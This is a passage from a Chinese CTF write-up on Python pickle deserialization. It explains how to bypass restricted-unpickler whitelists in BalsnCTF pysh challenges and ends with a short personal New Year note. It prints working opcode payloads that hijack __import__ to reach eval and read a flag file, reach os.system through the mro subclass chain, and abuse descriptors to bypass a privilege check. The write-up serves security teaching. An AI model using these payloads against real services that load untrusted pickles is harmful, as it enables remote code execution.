1 2 3 4 5 6 7 8 9 10 11 12 13 # structs.__dict__ ["structs"] = structs.__builtins__ cstructs\n__dict__ \nVstructs\ncstructs\n__builtins__ \ns0# structs.__builtins__ ['__import__ '] = structs.__getattribute__ cstructs\n__builtins__ \nV__import__ \ncstructs\n__getattribute__ \ns0
# get eval cstructs\nget\n(Veval\ntR(V
# get flag
# 收工 \ntR.
这样即可获得 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import structsimport pickleimport iowhitelist = ["structs" ]
class RestrictedUnpickler (pickle.Unpickler):
def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) module = __import__ (module) return getattr (module, name)
dumps = pickle.dumps
a = b'''cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0cstructs\nget\n(Veval\ntR(''' + \ b'''Vprint(open("./flag").read())\ntR.''' b = RestrictedUnpickler(io.BytesIO(a)).load()print (b)
如果只是为了拿到 flag,用 open("./flag").read() 也可以。但我们总是会想想能不能 RCE,那么这道题可以 RCE 吗?你可能会想,opcode 里面已经把 __import__ 污染了,所以没法 import 其他的包来 RCE。
实际上是可以的。同样,在我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里有用 mro 来实现无 import 执行任意命令的方法。我这里就不啰嗦了,直接给出 opcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # structs.__dict__ ["structs"] = structs.__builtins__ cstructs\n__dict__ \nVstructs\ncstructs\n__builtins__ \ns0# structs.__builtins__ ['__import__ '] = structs.__getattribute__ cstructs\n__builtins__ \nV__import__ \ncstructs\n__getattribute__ \ns0
# get eval cstructs\nget\n(Veval\ntR(V
# 利用 mro 寻找可利用的模块,这里以 sys 为例 [x for x in [ ].__class__ .__base__ .__subclasses__ () if x.__name__ == "_Printer"][0]._ Printer__setup.__ globals__['sys'].modules.get("os").system("whoami") # 收工 \ntR.
pyshv3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 # ----- securePickle.py ----- import pickleimport iowhitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals class RestrictedUnpickler (pickle.Unpickler):
def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name)
def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# ----- server.py ----- import securePickle as pickleimport codecsimport os
pickle.whitelist.append('structs' )
class Pysh (object ): def __init__ (self ): self.key = os.urandom(100 ) self.login() self.cmds = { 'help' : self.cmd_help, 'whoami' : self.cmd_whoami, 'su' : self.cmd_su, 'flag' : self.cmd_flag, }
def login (self ): with open ('../flag.txt' , 'rb' ) as f: flag = f.read() flag = bytes (a ^ b for a, b in zip (self.key, flag)) user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) print ('Login as ' + user.name + ' - ' + user.group) user.privileged = False user.flag = flag self.user = user
def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func()
def cmd_help (self ): print ('Available commands: ' + ' ' .join(self.cmds.keys()))
def cmd_whoami (self ): print (self.user.name, self.user.group)
def cmd_su (self ): print ("Not Implemented QAQ" ) # self.user.privileged = 1
def cmd_flag (self ): if not self.user.privileged: print ('flag: Permission denied' ) else : print (bytes (a ^ b for a, b in zip (self.user.flag, self.key)))
if __name__ == '__main__' : pysh = Pysh() pysh.run()
# ----- structs.py ----- class User (object ): def __init__ (self, name, group ): self.name = name self.group = group self.isadmin = 0 self.prompt = ''
这道题也比较难。限制如下:
只能引入 structs 模块
方法中不能有 .
无法 import 额外的模块。所以要想拿到 flag,self.user.privileged 需要不为 False
由于 user.privileged = False 是在反序列化之后运行的,所以就算覆盖了 struct 的 privileged,也会被强制改回来。
我们知道,Python 的点运算符,背后实际上是各种描述器在起作用,而描述器其实由 __getattribute__() 方法调用的。所以这里的思路就是修改描述器使得 . 的行为可控。对于描述器我们并不陌生,如果你没用过,可以看下官方文档,见资料 8。
如果一个对象定义了 __set__() 或 __delete__(),则它会被视为数据描述器。 仅定义了 __get__() 的描述器称为非数据描述器。
其中,__set__() 决定了赋值时的行为,所以我们能不能通过重载 __set__ 使得 user.privileged = False 失效呢?
那么这个时候可以等价为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class User (object ): def __init__ (self, name, group ): self.name = name self.group = group self.isadmin = 0 self.prompt = '' user = User("tr0y" , "root" )
# 在这里面写入合适的语句
user.privileged = False print (user.privileged) # 使得 user.privileged == True
首先,__set__ 应该赋予一个 callable(废话),这个 callable 是比较有讲究的:
必须要有三个参数,执行 user.privileged = False 的时候,分为用于接收 user、privileged、False
返回值必须不为广义的 False(什么 None 啊、"" 啊,都算广义的 False)
调用的源头必须在一个类中
那么在这道题目中,User 这个类本身正好符合要求,所以可以这么写:User.__set__ = User。但是如果只写这一句的话,你会发现还是无法改变 user.privileged = False 的行为。
这个时候就需要看下 __set__ 到底如何改变 Python 赋值行为的。对于 obj.attr = value(在对属性赋值时),Python 的查找策略是这样的:查找 obj.__class__.__dict__,如果 attr 存在并且是一个数据描述器,调用 attr 的 __set__ 方法,结束。如果不存在,会继续到 obj.__class__ 的父类和祖先类中查找,找到数据描述器则调用其 __set__ 方法,没找到则执行 obj.__dict__['attr'] = value。
所以我们应该还要加一句 User.privileged = User("tr0y", "root") 保证 user.__class__.__dict__ 已经有了 privileged 并且是一个数据描述器,这样就会走到 __set__。橘友们可能会问,那为什么不能 user.privileged = User("tr0y", "root") 这么写呢?原因在于,privileged 这个属性是不存在于 user 的,所以会继续在父类中找,而父类也没有这个属性,所以直接执行的是 user.__dict__['privileged'] = User("tr0y", "root"),这样是起不到作用的。同时由于 flag 并不存在于 user.__class__.__dict__ 里,且父类的 User 也没有 flag 这个属性,所以 flag 这个属性是正常赋值的。
这样的话,我们要加的语句应该是:
1 2 User.__set__ = User User.privileged = User("tr0y" , "root" )
最后的最后,由于 structs.User.__dict__ 是 mappingproxy 类型,所以需要用到变量覆盖里提到的那个 tip
综上,转为 opcode 就是:
1 2 3 4 5 6 7 8 9 10 11 # 新增 __set__ cstructs\n User\n (N}V__set__\n cstructs\n User\n stb 0 # 弹出 # 新增 privileged cstructs\n User\n (N}Vprivileged\n cstructs\n User\n (Vtr0y\n Vroot\n tRstb 0 # 弹出 # 返回 structs.User 实例 cstructs\n User\n (Vtr0y\n Vroot\n tR.# 最终 payload cstructs\n User\n (N}V__set__\n cstructs\n User\n stb0cstructs\n User\n (N}Vprivileged\n cstructs\n User\n (Vtr0y\n Vroot\n tRstb0cstructs\n User\n (Vtr0y\n Vroot\n tR.
总结
橘友们应该可以发现,opcode 有个特点是“赋值容易查值难”。如何利用 opcode 构造 payload 需要多练习才能掌握,以及对 Python 魔术方法等各种稍底层的原理要有一定的理解,才能够知其然也知其所以然。
Python 反序列化、Python 沙箱逃逸,以及 SSIT 所需的知识点有着很大的关联性,通其一而知其百,保持知识的连通性效率才会高。
资料
Python 沙箱逃逸的经验总结
https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/
pickle.py 中 opcode 备注
https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L107
可以序列化的东西
https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled
pker,方便生成 opcode 的工具
https://github.com/EddieIvan01/pker
Python 的导入机制
https://docs.python.org/zh-cn/3/reference/import.html#the-import-system
pickle 的 load_build 逻辑
https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L1697
BalsnCTF-2019 Python 反序列化题
https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc
Python 描述器
https://docs.python.org/zh-cn/3/howto/descriptor.html
今年应该是最惨的一个春节 在外地居家隔离 你说回家吧好像确实也挺无聊的 但就是控制不住想回去 一个人过春节 天天吃政府发的盒饭 真是太容易焦虑了 希望疫情早点结束这篇文章是从除夕开始写的 化焦虑为动力了属实是
这两天搞了个微博账号 微博 id 是 6575448477,用户名是 Macr0phag3 主要是整活和发一些技术啊、摄影啊之类的日常 隔离期间真的话多,有点啰嗦哈哈哈 好了就说到这吧
祝橘友们虎年虎虎生威,大吉大利